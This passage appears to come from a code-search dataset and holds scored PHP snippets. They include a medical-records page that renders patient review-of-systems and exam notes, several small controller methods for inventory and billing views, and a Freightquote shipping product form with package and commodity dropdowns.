:\n\t\tstripslashes(str_replace(\"\\n\", \"<br/>\", htmlentities($pnoteshpi))) ).\"\n </TD></TR></TABLE>\n \";\n if (strlen($pnotesroscons) > 0) $display_buffer .= \"\n <TABLE BGCOLOR=#ffffff BORDER=1 WIDTH=\\\"100%\\\"><TR BGCOLOR=$darker_bgcolor>\n <TD ALIGN=LEFT><B>\".__(\"<U>C</U>onstitutional\").\"</B></TD></TR>\n <TR BGCOLOR=#ffffff><TD>\n\t\t\".( eregi(\"<[A-Z/]*>\", $pnotesroscons) ?\n\t\tprepare($pnotesroscons) :\n\t\tstripslashes(str_replace(\"\\n\", \"<br/>\", htmlentities($pnotesroscons))) ).\"\n </TD></TR></TABLE>\n \";\n if (strlen($pnotesroseyes) > 0) $display_buffer .= \"\n <TABLE BGCOLOR=#ffffff BORDER=1 WIDTH=\\\"100%\\\"><TR BGCOLOR=$darker_bgcolor>\n <TD ALIGN=LEFT><B>\".__(\"<u>E</u>yes\").\"</B></FONT></CENTER></TD></TR>\n <TR BGCOLOR=#ffffff><TD>\n\t\t\".( eregi(\"<[A-Z/]*>\", $pnotesroseyes) ?\n\t\tprepare($pnotesroseyes) :\n\t\tstripslashes(str_replace(\"\\n\", \"<br/>\", htmlentities($pnotesroseyes))) ).\"\n </TD></TR></TABLE>\n \";\n if (!empty($pnotesrosent)) $display_buffer .= \"\n <TABLE BGCOLOR=#ffffff BORDER=1 WIDTH=\\\"100%\\\"><TR BGCOLOR=$darker_bgcolor>\n <TD ALIGN=LEFT><B>\".__(\"<u>E</u>ars Nose and Throat\").\"</B></TD></TR>\n <TR BGCOLOR=\\\"#ffffff\\\"><TD>\n\t\t\".( eregi(\"<[A-Z/]*>\", $pnotesrosent) ?\n\t\tprepare($pnotesrosent) :\n\t\tstripslashes(str_replace(\"\\n\", \"<br/>\", htmlentities($pnotesrosent))) ).\"\n </TD></TR></TABLE>\n \";\n if (strlen($pnotesroscv) > 0) $display_buffer .= \"\n <TABLE BGCOLOR=#ffffff BORDER=1 WIDTH=\\\"100%\\\"><TR BGCOLOR=$darker_bgcolor>\n <TD ALIGN=LEFT><B>\".__(\"<u>C</u>ardiovascular\").\"</B></TD></TR>\n <TR BGCOLOR=#ffffff><TD>\n\t\t\".( eregi(\"<[A-Z/]*>\", $pnotesroscv) ?\n\t\tprepare($pnotesroscv) :\n\t\tstripslashes(str_replace(\"\\n\", \"<br/>\", htmlentities($pnotesroscv))) ).\"\n </TD></TR></TABLE> \n \";\n if (strlen($pnotesrosresp) > 0) $display_buffer .= \"\n <TABLE BGCOLOR=#ffffff BORDER=1 WIDTH=\\\"100%\\\"><TR BGCOLOR=$darker_bgcolor>\n <TD ALIGN=LEFT><B>\".__(\"<u>R</u>espiratory\").\"</B></TD></TR>\n <TR BGCOLOR=#ffffff><TD>\n \".( eregi(\"<[A-Z/]*>\", $pnotesrosresp) ?\n\t\tprepare($pnotesrosresp) :\n\t\tstripslashes(str_replace(\"\\n\", \"<br/>\", htmlentities($pnotesrosresp))) ).\"\n </TD></TR></TABLE>\n \";\n if (strlen($pnotesrosgi) > 0) $display_buffer .= \"\n <TABLE BGCOLOR=#ffffff BORDER=1 WIDTH=\\\"100%\\\"><TR BGCOLOR=$darker_bgcolor>\n <TD ALIGN=LEFT><B>\".__(\"<u>G</u>astrointestinal\").\"</B></TD></TR>\n <TR BGCOLOR=#ffffff><TD>\n\t\t\".( eregi(\"<[A-Z/]*>\", $pnotesrosgi) ?\n\t\tprepare($pnotesrosgi) :\n\t\tstripslashes(str_replace(\"\\n\", \"<br/>\", htmlentities($pnotesrosgi))) ).\"\n </TD></TR></TABLE>\n \";\n if (strlen($pnotesrosgu) > 0) $display_buffer .= \"\n <TABLE BGCOLOR=#ffffff BORDER=1 WIDTH=\\\"100%\\\"><TR BGCOLOR=$darker_bgcolor>\n <TD ALIGN=LEFT><B>\".__(\"<U>G</U>enitourinary\").\"</B></TD></TR>\n <TR BGCOLOR=#ffffff><TD>\n\t\t\".( eregi(\"<[A-Z/]*>\", $pnotesrosgu) ?\n\t\tprepare($pnotesrosgu) :\n\t\tstripslashes(str_replace(\"\\n\", \"<br/>\", htmlentities($pnotesrosgu))) ).\"\n </TD></TR></TABLE>\n \";\n if (strlen($pnotesrosms) > 0) $display_buffer .= \"\n <TABLE BGCOLOR=#ffffff BORDER=1 WIDTH=\\\"100%\\\"><TR BGCOLOR=$darker_bgcolor>\n <TD ALIGN=LEFT><B>\".__(\"<U>M</U>usculoskeletal\").\"</B></TD></TR>\n <TR BGCOLOR=#ffffff><TD>\n\t\t\".( eregi(\"<[A-Z/]*>\", $pnotesrosms) ?\n\t\tprepare($pnotesrosms) :\n\t\tstripslashes(str_replace(\"\\n\", \"<br/>\", htmlentities($pnotesrosms))) ).\"\n </TD></TR></TABLE>\n \";\n if (strlen($pnotesrosskinbreast) > 0) $display_buffer .= \"\n <TABLE BGCOLOR=#ffffff BORDER=1 WIDTH=\\\"100%\\\"><TR BGCOLOR=$darker_bgcolor>\n <TD ALIGN=LEFT><B>\".__(\"<u>S</u>kin and Breast\").\"</B></FONT></CENTER></TD></TR>\n <TR BGCOLOR=#ffffff><TD>\n\t\t\".( eregi(\"<[A-Z/]*>\", $pnotesrosskinbreast) ?\n\t\tprepare($pnotesrosskinbreast) :\n\t\tstripslashes(str_replace(\"\\n\", \"<br/>\", htmlentities($pnotesrosskinbreast))) ).\"\n </TD></TR></TABLE>\n \";\n if (!empty($pnotesrosneuro)) $display_buffer .= \"\n <TABLE BGCOLOR=#ffffff BORDER=1 WIDTH=\\\"100%\\\"><TR BGCOLOR=$darker_bgcolor>\n <TD ALIGN=LEFT><B>\".__(\"<u>N</u>eurological\").\"</B></TD></TR>\n <TR BGCOLOR=\\\"#ffffff\\\"><TD>\n\t\t\".( eregi(\"<[A-Z/]*>\", $pnotesrosneuro) ?\n\t\tprepare($pnotesrosneuro) :\n\t\tstripslashes(str_replace(\"\\n\", \"<br/>\", htmlentities($pnotesrosneuro))) ).\"\n </TD></TR></TABLE>\n \";\n if (strlen($pnotesrospsych) > 0) $display_buffer .= \"\n <TABLE BGCOLOR=#ffffff BORDER=1 WIDTH=\\\"100%\\\"><TR BGCOLOR=$darker_bgcolor>\n <TD ALIGN=LEFT><B>\".__(\"<u>P</u>sychiatric\").\"</B></TD></TR>\n <TR BGCOLOR=#ffffff><TD>\n\t\t\".( eregi(\"<[A-Z/]*>\", $pnotesrospsych) ?\n\t\tprepare($pnotesrospsych) :\n\t\tstripslashes(str_replace(\"\\n\", \"<br/>\", htmlentities($pnotesrospsych))) ).\"\n </TD></TR></TABLE> \n \";\n if (strlen($pnotesrosendo) > 0) $display_buffer .= \"\n <TABLE BGCOLOR=#ffffff BORDER=1 WIDTH=\\\"100%\\\"><TR BGCOLOR=$darker_bgcolor>\n <TD ALIGN=LEFT><B>\".__(\"<u>E</u>ndocrine\").\"</B></TD></TR>\n <TR BGCOLOR=#ffffff><TD>\n \t \".( eregi(\"<[A-Z/]*>\", $pnotesrosendo) ?\n\t\tprepare($pnotesrosendo) :\n\t\tstripslashes(str_replace(\"\\n\", \"<br/>\", htmlentities($pnotesrosendo))) ).\"\n </TD></TR></TABLE>\n \";\n if (strlen($pnotesroshemelymph) > 0) $display_buffer .= \"\n <TABLE BGCOLOR=#ffffff BORDER=1 WIDTH=\\\"100%\\\"><TR BGCOLOR=$darker_bgcolor>\n <TD ALIGN=LEFT><B>\".__(\"<U>H</U>ematologic and Lymphatic\").\"</B></TD></TR>\n <TR BGCOLOR=#ffffff><TD>\n\t\t\".( eregi(\"<[A-Z/]*>\", $pnotesroshemelymph) ?\n\t\tprepare($pnotesroshemelymph) :\n\t\tstripslashes(str_replace(\"\\n\", \"<br/>\", htmlentities($pnotesroshemelymph))) ).\"\n </TD></TR></TABLE>\n \";\n if (strlen($pnotesrosallergyimmune) > 0) $display_buffer .= \"\n <TABLE BGCOLOR=#ffffff BORDER=1 WIDTH=\\\"100%\\\"><TR BGCOLOR=$darker_bgcolor>\n <TD ALIGN=LEFT><B>\".__(\"<u>A</u>llergy and Immune\").\"</B></FONT></CENTER></TD></TR>\n <TR BGCOLOR=#ffffff><TD>\n\t\t\".( eregi(\"<[A-Z/]*>\", $pnotesrosallergyimmune) ?\n\t\tprepare($pnotesrosallergyimmune) :\n\t\tstripslashes(str_replace(\"\\n\", \"<br/>\", htmlentities($pnotesrosallergyimmune))) ).\"\n </TD></TR></TABLE>\n \";\n if (!empty($pnotesph)) $display_buffer .= \"\n <TABLE BGCOLOR=#ffffff BORDER=1 WIDTH=\\\"100%\\\"><TR BGCOLOR=$darker_bgcolor>\n <TD ALIGN=LEFT><B>\".__(\"<u>P</u>ast History\").\"</B></TD></TR>\n <TR BGCOLOR=\\\"#ffffff\\\"><TD>\n\t\t\".( eregi(\"<[A-Z/]*>\", $pnotesph) ?\n\t\tprepare($pnotesph) :\n\t\tstripslashes(str_replace(\"\\n\", \"<br/>\", htmlentities($pnotesph))) ).\"\n </TD></TR></TABLE>\n \";\n if (strlen($pnotesfh) > 0) $display_buffer .= \"\n <TABLE BGCOLOR=#ffffff BORDER=1 WIDTH=\\\"100%\\\"><TR BGCOLOR=$darker_bgcolor>\n <TD ALIGN=LEFT><B>\".__(\"<u>F</u>amily History\").\"</B></TD></TR>\n <TR BGCOLOR=#ffffff><TD>\n\t\t\".( eregi(\"<[A-Z/]*>\", $pnotesfh) ?\n\t\tprepare($pnotesfh) :\n\t\tstripslashes(str_replace(\"\\n\", \"<br/>\", htmlentities($pnotesfh))) ).\"\n </TD></TR></TABLE> \n \";\n if (strlen($pnotessh) > 0) $display_buffer .= \"\n <TABLE BGCOLOR=#ffffff BORDER=1 WIDTH=\\\"100%\\\"><TR BGCOLOR=$darker_bgcolor>\n <TD ALIGN=LEFT><B>\".__(\"<u>S</u>ocial History\").\"</B></TD></TR>\n <TR BGCOLOR=#ffffff><TD>\n\t\t\".( eregi(\"<[A-Z/]*>\", $pnotessh) ?\n\t\tprepare($pnotessh) :\n\t\tstripslashes(str_replace(\"\\n\", \"<br/>\", htmlentities($pnotessh))) ).\"\n </TD></TR></TABLE>\n \";\n if (strlen($pnotespeeyes) > 0) $display_buffer .= \"\n <TABLE BGCOLOR=#ffffff BORDER=1 WIDTH=\\\"100%\\\"><TR BGCOLOR=$darker_bgcolor>\n <TD ALIGN=LEFT><B>\".__(\"<u>E</u>yes\").\"</B></TD></TR>\n <TR BGCOLOR=#ffffff><TD>\n\t\t\".( eregi(\"<[A-Z/]*>\", $pnotespeeyes) ?\n\t\tprepare($pnotespeeyes) :\n\t\tstripslashes(str_replace(\"\\n\", \"<br/>\", htmlentities($pnotespeeyes))) ).\"\n </TD></TR></TABLE>\n \";\n if (strlen($pnotespeent) > 0) $display_buffer .= \"\n <TABLE BGCOLOR=#ffffff BORDER=1 WIDTH=\\\"100%\\\"><TR BGCOLOR=$darker_bgcolor>\n <TD ALIGN=LEFT><B>\".__(\"<U>E</U>ars Nose and Throat\").\"</B></TD></TR>\n <TR BGCOLOR=#ffffff><TD>\n\t\t\".( eregi(\"<[A-Z/]*>\", $pnotespeent) ?\n\t\tprepare($pnotespeent) :\n\t\tstripslashes(str_replace(\"\\n\", \"<br/>\", htmlentities($pnotespeent))) ).\"\n </TD></TR></TABLE>\n \";\n if (strlen($pnotespeneck) > 0) $display_buffer .= \"\n <TABLE BGCOLOR=#ffffff BORDER=1 WIDTH=\\\"100%\\\"><TR BGCOLOR=$darker_bgcolor>\n <TD ALIGN=LEFT><B>\".__(\"<U>N</U>eck\").\"</B></TD></TR>\n <TR BGCOLOR=#ffffff><TD>\n\t\t\".( eregi(\"<[A-Z/]*>\", $pnotespeneck) ?\n\t\tprepare($pnotespeneck) :\n\t\tstripslashes(str_replace(\"\\n\", \"<br/>\", htmlentities($pnotespeneck))) ).\"\n </TD></TR></TABLE>\n \";\n if (strlen($pnotesperesp) > 0) $display_buffer .= \"\n <TABLE BGCOLOR=#ffffff BORDER=1 WIDTH=\\\"100%\\\"><TR BGCOLOR=$darker_bgcolor>\n <TD ALIGN=LEFT><B>\".__(\"<u>R</u>espiratory\").\"</B></FONT></CENTER></TD></TR>\n <TR BGCOLOR=#ffffff><TD>\n\t\t\".( eregi(\"<[A-Z/]*>\", $pnotesperesp) ?\n\t\tprepare($pnotesperesp) :\n\t\tstripslashes(str_replace(\"\\n\", \"<br/>\", htmlentities($pnotesperesp))) ).\"\n </TD></TR></TABLE>\n \";\n if (!empty($pnotespecv)) $display_buffer .= \"\n <TABLE BGCOLOR=#ffffff BORDER=1 WIDTH=\\\"100%\\\"><TR BGCOLOR=$darker_bgcolor>\n <TD ALIGN=LEFT><B>\".__(\"<u>C</u>ardiovascular\").\"</B></TD></TR>\n <TR BGCOLOR=\\\"#ffffff\\\"><TD>\n\t\t\".( eregi(\"<[A-Z/]*>\", $pnotespecv) ?\n\t\tprepare($pnotespecv) :\n\t\tstripslashes(str_replace(\"\\n\", \"<br/>\", htmlentities($pnotespecv))) ).\"\n </TD></TR></TABLE>\n \";\n if (strlen($pnotespechestbreast) > 0) $display_buffer .= \"\n <TABLE BGCOLOR=#ffffff BORDER=1 WIDTH=\\\"100%\\\"><TR BGCOLOR=$darker_bgcolor>\n <TD ALIGN=LEFT><B>\".__(\"<u>C</u>hest and Breasts\").\"</B></TD></TR>\n <TR BGCOLOR=#ffffff><TD>\n\t\t\".( eregi(\"<[A-Z/]*>\", $pnotespechestbreast) ?\n\t\tprepare($pnotespechestbreast) :\n\t\tstripslashes(str_replace(\"\\n\", \"<br/>\", htmlentities($pnotespechestbreast))) ).\"\n </TD></TR></TABLE> \n \";\n if (strlen($pnotespegiabd) > 0) $display_buffer .= \"\n <TABLE BGCOLOR=#ffffff BORDER=1 WIDTH=\\\"100%\\\"><TR BGCOLOR=$darker_bgcolor>\n <TD ALIGN=LEFT><B>\".__(\"<u>G</u>astrointestinal and Abdomen\").\"</B></TD></TR>\n <TR BGCOLOR=#ffffff><TD>\n\t\t\".( eregi(\"<[A-Z/]*>\", $pnotespegiabd) ?\n\t\tprepare($pnotespegiabd) :\n\t\tstripslashes(str_replace(\"\\n\", \"<br/>\", htmlentities($pnotespegiabd))) ).\"\n </TD></TR></TABLE>\n \";\n if (strlen($pnotespegu) > 0) $display_buffer .= \"\n <TABLE BGCOLOR=#ffffff BORDER=1 WIDTH=\\\"100%\\\"><TR BGCOLOR=$darker_bgcolor>\n <TD ALIGN=LEFT><B>\".__(\"<u>G</u>enitourinary\").\"</B></TD></TR>\n <TR BGCOLOR=#ffffff><TD>\n\t\t\".( eregi(\"<[A-Z/]*>\", $pnotespegu) ?\n\t\tprepare($pnotespegu) :\n\t\tstripslashes(str_replace(\"\\n\", \"<br/>\", htmlentities($pnotespegu))) ).\"\n </TD></TR></TABLE>\n \";\n if (strlen($pnotespelymph) > 0) $display_buffer .= \"\n <TABLE BGCOLOR=#ffffff BORDER=1 WIDTH=\\\"100%\\\"><TR BGCOLOR=$darker_bgcolor>\n <TD ALIGN=LEFT><B>\".__(\"<U>L</U>ymphatics\").\"</B></TD></TR>\n <TR BGCOLOR=#ffffff><TD>\n\t\t\".( eregi(\"<[A-Z/]*>\", $pnotespelymph) ?\n\t\tprepare($pnotespelymph) :\n\t\tstripslashes(str_replace(\"\\n\", \"<br/>\", htmlentities($pnotespelymph))) ).\"\n </TD></TR></TABLE>\n \";\n if (strlen($pnotespems) > 0) $display_buffer .= \"\n <TABLE BGCOLOR=#ffffff BORDER=1 WIDTH=\\\"100%\\\"><TR BGCOLOR=$darker_bgcolor>\n <TD ALIGN=LEFT><B>\".__(\"<U>M</U>usculoskeletal\").\"</B></TD></TR>\n <TR BGCOLOR=#ffffff><TD>\n\t\t\".( eregi(\"<[A-Z/]*>\", $pnotespems) ?\n\t\tprepare($pnotespems) :\n\t\tstripslashes(str_replace(\"\\n\", \"<br/>\", htmlentities($pnotespems))) ).\"\n </TD></TR></TABLE>\n \";\n if (strlen($pnotespeskin) > 0) $display_buffer .= \"\n <TABLE BGCOLOR=#ffffff BORDER=1 WIDTH=\\\"100%\\\"><TR BGCOLOR=$darker_bgcolor>\n <TD ALIGN=LEFT><B>\".__(\"<u>S</u>kin\").\"</B></FONT></CENTER></TD></TR>\n <TR BGCOLOR=#ffffff><TD>\n\t\t\".( eregi(\"<[A-Z/]*>\", $pnotespeskin) ?\n\t\tprepare($pnotespeskin) :\n\t\tstripslashes(str_replace(\"\\n\", \"<br/>\", htmlentities($pnotespeskin))) ).\"\n </TD></TR></TABLE>\n \";\n if (!empty($pnotespeneuro)) $display_buffer .= \"\n <TABLE BGCOLOR=#ffffff BORDER=1 WIDTH=\\\"100%\\\"><TR BGCOLOR=$darker_bgcolor>\n <TD ALIGN=LEFT><B>\".__(\"<u>N</u>eurological\").\"</B></TD></TR>\n <TR BGCOLOR=\\\"#ffffff\\\"><TD>\n\t\t\".( eregi(\"<[A-Z/]*>\", $pnotespeneuro) ?\n\t\tprepare($pnotespeneuro) :\n\t\tstripslashes(str_replace(\"\\n\", \"<br/>\", htmlentities($pnotespeneuro))) ).\"\n </TD></TR></TABLE>\n \";\n if (strlen($pnotespepsych) > 0) $display_buffer .= \"\n <TABLE BGCOLOR=#ffffff BORDER=1 WIDTH=\\\"100%\\\"><TR BGCOLOR=$darker_bgcolor>\n <TD ALIGN=LEFT><B>\".__(\"<u>P</u>sychiatric\").\"</B></TD></TR>\n <TR BGCOLOR=#ffffff><TD>\n\t\t\".( eregi(\"<[A-Z/]*>\", $pnotespepsych) ?\n\t\tprepare($pnotespepsych) :\n\t\tstripslashes(str_replace(\"\\n\", \"<br/>\", htmlentities($pnotespepsych))) ).\"\n </TD></TR></TABLE> \n \";\n if (strlen($pnoteshandp) > 7) $display_buffer .= \"\n <TABLE BGCOLOR=#ffffff BORDER=1 WIDTH=\\\"100%\\\"><TR BGCOLOR=$darker_bgcolor>\n <TD ALIGN=LEFT><B>\".__(\"<u>F</u>ree Form Entry\").\"</B></TD></TR>\n <TR BGCOLOR=#ffffff><TD>\n\t\t\".( eregi(\"<[A-Z/]*>\", $pnoteshandp) ?\n\t\tprepare($pnoteshandp) :\n\t\tstripslashes(str_replace(\"\\n\", \"<br/>\", htmlentities($pnoteshandp))) ).\"\n </TD></TR></TABLE>\n \";\n\t \n // back to your regularly sceduled program...\n $display_buffer .= \"\n <p/>\n \".template::link_bar(array(\n __(\"Encounter Notes\") =>\n $this->page_name.\"?module=$module&patient=$pnotespat\",\n __(\"Manage Patient\") =>\n \"manage.php?id=$pnotespat\",\n\t__(\"Select Patient\") =>\n \"patient.php\",\n\t( freemed::acl_patient('emr', 'modify', $patient) ? __(\"Modify\") : \"\" ) =>\n $this->page_name.\"?module=$module&patient=$patient&id=$id&action=modform\"\n )).\"\n <p/>\n \";\n\t}", "title": "" }, { "docid": "8d618e933d05255f46b9677dfa4ca1e9", "score": "0.52975315", "text": "public function instruments($cursor = \"\")\n {\n return $this->get(\"instruments\", ['cursor' => $cursor]);\n }", "title": "" }, { "docid": "0342189993f30dcc674552e6203286fd", "score": "0.52867395", "text": "public function item_codes(){\n\t $data = $this->glbl('practitioner_access');\t\n\t\t$clinicData = $this->manage_locations->getClinicId($this->tank_auth->ci->session->userdata['user_id']);\n\t\t$data['datatables'] = $this->appointments->getBillingCodes($clinicData->clinic_id);\n\t\t$this->load->view('inc/header', $data);\n\t\t$this->load->view('clinic/appointment/item_codes', $data);\t\t\n\t}", "title": "" }, { "docid": "f2f47232f261052f698e4aeb2273ac46", "score": "0.5273115", "text": "public function equipment() {\n\t}", "title": "" }, { "docid": "cce498bfbe1d1cfb1640f375628d4cc3", "score": "0.5269574", "text": "public function display(){\n return array();\n }", "title": "" }, { "docid": "4a7acc73e14d627bf97790cfcd2b0b5a", "score": "0.5268739", "text": "public function index()\n {\n //\n $instruments = Instrument::get();\n\n $heading = 'Manage User Instruments';\n return view( $this->view_all, array('instruments' => $instruments, 'heading' => $heading) );\n }", "title": "" }, { "docid": "5a748f892ea6cf8e109d98cd7784429b", "score": "0.5258856", "text": "public function display()\n {\n\n print \"<html>\\n<body>\";\n\n print \"<p><b> SCRAPED PRODUCTS </b></p>\";\n\n print \"\\n<ul>\";\n\n foreach($this->product_list as $product) {\n print \"<li> PRICE: \".$product->product_cost.\" || NAME : \".$product->product_name.\"</li>\";\n\n }\n print \"</ul>\\n</body>\\n</html>\";\n }", "title": "" }, { "docid": "4447b4208b28f41ad2168a47dc711e9f", "score": "0.52576303", "text": "public function index()\n {\n $all = AdditionalDescription::with('product')->get();\n return Resp::Success('تم', $all);\n }", "title": "" }, { "docid": "9f9395d212d1fb570aada4b68067bc2b", "score": "0.5256395", "text": "abstract protected function _display($params);", "title": "" }, { "docid": "5fbd8c8a913f3d5a4f08b109b5762881", "score": "0.52547264", "text": "public function show()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "5fbd8c8a913f3d5a4f08b109b5762881", "score": "0.52547264", "text": "public function show()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "0f5ad94f1096d5cffd1735c495c99c28", "score": "0.5249605", "text": "function plumbing_tool_item_details($item_id) {\n\techo 'Plumbing Tools Item Details with Descriptions. <br>';\n\tplumbing_tools_inventory();\n}", "title": "" }, { "docid": "2d015701dd9e9c87840b1d4ec5ee2e37", "score": "0.52473134", "text": "protected abstract function display();", "title": "" }, { "docid": "8d9c1eb50128f78fe9d82e4d2a73bbdf", "score": "0.5231897", "text": "public function show($terjual)\n {\n }", "title": "" }, { "docid": "30b49bd280204902d6fa79e04a28f22e", "score": "0.52210134", "text": "abstract public function get_description();", "title": "" }, { "docid": "9ff9f297e6a9fc975354ffc3b117f557", "score": "0.5215873", "text": "public function inventory() {\n $books = $this->book_model->list_book();\n\n//disply all books\n if ($books) {\n $view = new Book_Inventory();\n $view->display($books);\n }\n }", "title": "" }, { "docid": "a1fc36339edff078830a68b44d0f0b51", "score": "0.5211581", "text": "public function index()\n {\n global $config;\n // Get banner\n $data['banner'] = $this->model_inner_banner->find_by_pk(15);\n // Get cms work\n //$data['cms_content_1'] = $this->model_cms_page->get_page(2);\n // Get all user Programs which has purchase\n $data['programs'] = $this->model_order_item->get_user_program($this->userid);\n // debug($data['programs'],1);\n // Load View\n $this->load_view(\"index\", $data);\n }", "title": "" }, { "docid": "b20d8a15ecd9c2b3ff3953d7edba45d9", "score": "0.5211559", "text": "public function display() {\n }", "title": "" }, { "docid": "edb117444d5466379c6e1d2d5d2b399e", "score": "0.5207946", "text": "public function supplierinvoicelist() { \n $data['page'] = 'Purchase Order';\n\t\t$data['page_title'] = 'Supplier Invoice';\n $data['page_module'] = 'inventory';\t\t\n $this->load->view('inventory/purchase/supplier_invoice/supplierinvoicelist', $data); \n\t}", "title": "" }, { "docid": "e479680c976f1ec5006eda96a6ace0e4", "score": "0.52008015", "text": "public function table_item_list()\n {\n //echo 'table_item_list';\n $items = $this->purchase_model->get_item_by_vendor(get_client_user_id());\n $this->app->get_table_data(module_views_path('purchase', 'items/table_item_list'), [], 'supplier', $items);\n }", "title": "" }, { "docid": "f597dbb346b709a9c1c886b45daae8e2", "score": "0.52000093", "text": "function showInterface() {\n global $pInfo;\n\n if (MODULE_SHIPPING_FREIGHTQUOTE_STATUS != 'True') return false;\n \n $template = array(\n 'TITLE' => TEXT_PRODUCTS_FREIGHTQUOTE,\n 'LABEL_ENABLE' => TEXT_PRODUCTS_FREIGHTQUOTE_ENABLE,\n 'LABEL_CLASS' => TEXT_PRODUCTS_FREIGHTQUOTE_CLASS,\n 'LABEL_DIMENSIONS' => TEXT_PRODUCTS_FREIGHTQUOTE_DIMENSIONS,\n 'LABEL_NMFC' => TEXT_PRODUCTS_FREIGHTQUOTE_NMFC,\n 'LABEL_HZMT' => TEXT_PRODUCTS_FREIGHTQUOTE_HZMT,\n 'LABEL_COMMODITY_TYPE' => TEXT_PRODUCTS_FREIGHTQUOTE_COMMODITY_TYPE,\n 'LABEL_PACKAGE_TYPE' => TEXT_PRODUCTS_FREIGHTQUOTE_PACKAGE_TYPE,\n 'LABEL_CONTENT_TYPE' => TEXT_PRODUCTS_FREIGHTQUOTE_CONTENT_TYPE\n );\n \n $boolean_dropdown = array(\n array('id' => 'true', 'text' => 'True'),\n array('id' => 'false', 'text' => 'False')\n );\n \n $classes = array(\n array('id' => '50', 'text' => '50'),\n array('id' => '55', 'text' => '55'),\n array('id' => '60', 'text' => '60'),\n array('id' => '65', 'text' => '65'),\n array('id' => '70', 'text' => '70'),\n array('id' => '77.5', 'text' => '77.5'),\n array('id' => '85', 'text' => '85'),\n array('id' => '92.5', 'text' => '92.5'),\n array('id' => '100', 'text' => '100'),\n array('id' => '110', 'text' => '110'),\n array('id' => '125', 'text' => '125'),\n array('id' => '150', 'text' => '150'),\n array('id' => '175', 'text' => '175'),\n array('id' => '200', 'text' => '200'),\n array('id' => '250', 'text' => '250'),\n array('id' => '300', 'text' => '300'),\n array('id' => '400', 'text' => '400'),\n array('id' => '500', 'text' => '500')\n );\n \n $packages = array(\n array('id' => 'Bags', 'text' => 'Bags'),\n array('id' => 'Bales', 'text' => 'Bales'),\n array('id' => 'Boxes', 'text' => 'Boxes'),\n array('id' => 'Bundles', 'text' => 'Bundles'),\n array('id' => 'Carpets', 'text' => 'Carpets'),\n array('id' => 'Coils', 'text' => 'Coils'),\n array('id' => 'Crates', 'text' => 'Crates'),\n array('id' => 'Cylinders', 'text' => 'Cylinders'),\n array('id' => 'Drums', 'text' => 'Drums'),\n array('id' => 'Pails', 'text' => 'Pails'),\n array('id' => 'Reels', 'text' => 'Reels'),\n array('id' => 'Rolls', 'text' => 'Rolls'),\n array('id' => 'TubesPipes', 'text' => 'Tubes/Pipes'),\n array('id' => 'Motorcycle', 'text' => 'Motorcycle'),\n array('id' => 'ATV', 'text' => 'ATV'),\n array('id' => 'Pallets_48x40', 'text' => 'Pallets 48x40'),\n array('id' => 'Pallets_other', 'text' => 'Pallets Other'),\n array('id' => 'Pallets_120x120', 'text' => 'Pallets 120x120'),\n array('id' => 'Pallets_120x100', 'text' => 'Pallets 120x100'),\n array('id' => 'Pallets_120x80', 'text' => 'Pallets 120x80'),\n array('id' => 'Pallets_europe', 'text' => 'Pallets Europe'),\n array('id' => 'Pallets_48x48', 'text' => 'Pallets 48x48'),\n array('id' => 'Pallets_60x48', 'text' => 'Pallets 60x48')\n );\n \n $commodities = array(\n array('id' => 'GeneralMerchandise', 'text' => 'General Merchandise'),\n array('id' => 'Machinery', 'text' => 'Machinery'),\n array('id' => 'HouseholdGoods', 'text' => 'Household Goods'),\n array('id' => 'FragileGoods', 'text' => 'Fragile Goods'),\n array('id' => 'ComputerHardware', 'text' => 'Computer Hardware'),\n array('id' => 'BottledProducts', 'text' => 'Bottled Products'),\n array('id' => 'BottleBeverages', 'text' => 'Bottle Beverages'),\n array('id' => 'NonPerishableFood', 'text' => 'Non Perishable Food'),\n array('id' => 'SteelSheet', 'text' => 'Steel Sheet'),\n array('id' => 'BrandedGoods', 'text' => 'Branded Goods'),\n array('id' => 'PrecisionInstruments', 'text' => 'Precision Instruments'),\n array('id' => 'ChemicalsHazardous', 'text' => 'Chemicals Hazardous'),\n array('id' => 'FineArt', 'text' => 'Fine Art'),\n array('id' => 'Automobiles', 'text' => 'Automobiles'),\n array('id' => 'CellPhones', 'text' => 'Cell Phones'),\n array('id' => 'NewMachinery', 'text' => 'New Machinery'),\n array('id' => 'UsedMachinery', 'text' => 'Used Machinery'),\n array('id' => 'HotTubs', 'text' => 'Hot Tubs')\n );\n \n $contents = array(\n array('id' => 'NewCommercialGoods', 'text' => 'New Commercial Goods'),\n array('id' => 'UsedCommercialGoods', 'text' => 'Used Commercial Goods'),\n array('id' => 'HouseholdGoods', 'text' => 'Household Goods'),\n array('id' => 'FragileGoods', 'text' => 'Fragile Goods'),\n array('id' => 'Automobile', 'text' => 'Automobile'),\n array('id' => 'Motorcycle', 'text' => 'Motorcycle'),\n array('id' => 'AutoOrMotorcycle', 'text' => 'Auto or Motorcycle')\n );\n \n $template['DROPDOWN_CLASS'] = tep_draw_pull_down_menu(\n 'products_freightquote_class', \n $classes, \n $pInfo->products_freightquote_class\n );\n \n $template['FIELD_ENABLE'] = tep_draw_checkbox_field(\n 'products_freightquote_enable',\n '1',\n ($pInfo->products_freightquote_enable == '1' ? true : false)\n );\n \n $template['FIELDS_DIMENSIONS'] = tep_draw_input_field(\n 'products_freightquote_length', \n $pInfo->products_freightquote_length, \n 'maxlength=3 style=\"width:50px\"'\n ) . 'L x ' . \n tep_draw_input_field(\n 'products_freightquote_width', \n $pInfo->products_freightquote_width, \n 'maxlength=3 style=\"width:50px\"'\n ) . 'W x ' . \n tep_draw_input_field(\n 'products_freightquote_height', \n $pInfo->products_freightquote_height, \n 'maxlength=3 style=\"width:50px\"'\n ) . 'H';\n \n $template['FIELD_NMFC'] = tep_draw_input_field(\n 'products_freightquote_nmfc', \n $pInfo->products_freightquote_nmfc, \n 'maxlength=100'\n );\n \n $template['DROPDOWN_HZMT'] = tep_draw_pull_down_menu(\n 'products_freightquote_hzmt', \n $boolean_dropdown, \n ($pInfo->products_freightquote_hzmt == 'true' ? 'true' : 'false')\n );\n \n $template['DROPDOWN_PACKAGE_TYPES'] = tep_draw_pull_down_menu(\n 'products_freightquote_package_type', \n $packages, \n $pInfo->products_freightquote_package_type\n );\n \n $template['DROPDOWN_COMMODITY_TYPES'] = tep_draw_pull_down_menu(\n 'products_freightquote_commodity_type', \n $commodities, \n $pInfo->products_freightquote_commodity_type\n );\n \n $template['DROPDOWN_CONTENT_TYPES'] = tep_draw_pull_down_menu(\n 'products_freightquote_content_type', \n $contents, \n $pInfo->products_freightquote_content_type\n );\n \n $template_file = 